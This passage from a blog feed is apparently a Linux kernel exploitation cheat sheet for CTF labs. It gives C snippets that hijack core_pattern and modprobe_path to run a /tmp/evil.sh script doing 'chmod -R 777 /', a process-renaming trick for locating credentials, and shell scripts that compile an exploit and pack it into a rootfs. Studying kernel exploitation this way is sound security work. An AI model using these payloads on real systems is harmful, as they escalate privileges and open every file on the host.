      &lt;span class=&#34;collapsable-code__title&#34;&gt;core_pattern.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;

const char* new_core_pattern = &amp;#34;|/tmp/evil.sh&amp;#34;;

system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; /tmp/evil.sh&amp;#34;);
system(&amp;#34;chmod +x /tmp/evil.sh&amp;#34;);
system(&amp;#34;ulimit -c unlimited&amp;#34;);

uint64_t* evil_ptr = (uint64_t*)0xdeadbeefcafebebe;
*evil_ptr = 0xdeadbeefcafebebe;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;951762348&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;951762348&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;modprobe.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;

const char* new_modprobe = &amp;#34;/tmp/evil.sh&amp;#34;;

system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; /tmp/evil.sh&amp;#34;);
system(&amp;#34;chmod +x /tmp/evil.sh&amp;#34;);
system(&amp;#34;echo -e &amp;#39;\xde\xad\xbe\xef&amp;#39; &amp;gt; /tmp/pwn&amp;#34;);
system(&amp;#34;chmod +x /tmp/pwn&amp;#34;);
system(&amp;#34;/tmp/pwn&amp;#34;);&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;689753214&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;689753214&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;creds.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/prctl.h&amp;gt;

const char new_process_name[] = &amp;#34;uniguri&amp;#34;;

if (prctl(PR_SET_NAME, new_process_name) == -1) {
  printf(&amp;#34;[-] Failed to set process name\n&amp;#34;);
  return -1;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;scripts&#34;&gt;Scripts&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;748165932&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;748165932&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;bash&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;build_exploit.sh&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-bash&#34; &gt;
      &lt;code&gt;#!/bin/sh

# Check if an argument is provided
if [ $# -eq 0 ]; then
  echo &amp;#34;Usage: $0 &amp;lt;source_file.c&amp;gt;&amp;#34;
  exit 1
fi

# Extract the base name without the .c extension
SOURCE_FILE=$1
OUTPUT_FILE=$(dirname &amp;#34;$SOURCE_FILE&amp;#34;)/$(basename &amp;#34;$SOURCE_FILE&amp;#34; .c)

# Compile the file
musl-gcc &amp;#34;$SOURCE_FILE&amp;#34; -masm=intel -o &amp;#34;$OUTPUT_FILE&amp;#34; -static -pthread

# Check if the compilation was successful
if [ $? -eq 0 ]; then
  echo &amp;#34;Compilation successful: $OUTPUT_FILE&amp;#34;
else
  echo &amp;#34;Compilation failed.&amp;#34;
  exit 1
fi&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;375148962&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;375148962&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;bash&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;copy_exploit.sh&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-bash&#34; &gt;
      &lt;code&gt;#!/bin/sh

if [ $# -eq 0 ]; then
  echo &amp;#34;Usage: $0 &amp;lt;exploit_binary&amp;gt;&amp;#34;
  exit 1
fi

cp $1 ./root/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;645279138&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;645279138&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;bash&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;pack_rootfs.sh&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-bash&#34; &gt;
      &lt;code&gt;#!/bin/sh

cd root
find . -print0 | cpio -o --format=newc --null --owner=root &amp;gt; ../rootfs_updated.cpio&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;391627854&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;391627854&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;bash&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;build_compress_copy.sh&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-bash&#34; &gt;
      &lt;code&gt;#!/bin/sh

if [ $# -eq 0 ]; then
  echo &amp;#34;Usage: $0 &amp;lt;source_file.c&amp;gt;&amp;#34;
  exit 1
fi

SOURCE_FILE=$1
OUTPUT_FILE=$(dirname &amp;#34;$SOURCE_FILE&amp;#34;)/$(basename &amp;#34;$SOURCE_FILE&amp;#34; .c)

./build_exploit.sh $SOURCE_FILE
./copy_exploit.sh $OUTPUT_FILE
./pack_rootfs.sh&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/&#34;&gt;https://pawnyable.cafe/linux-kernel/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628&#34;&gt;https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://u1f383.github.io/cheatsheet/1970/01/01/welcome-to-jekyll.html&#34;&gt;https://u1f383.github.io/cheatsheet/1970/01/01/welcome-to-jekyll.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.usenix.org/system/files/usenixsecurity24-maar-slubstick.pdf&#34;&gt;https://www.usenix.org/system/files/usenixsecurity24-maar-slubstick.pdf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
  </channel>
</rss>
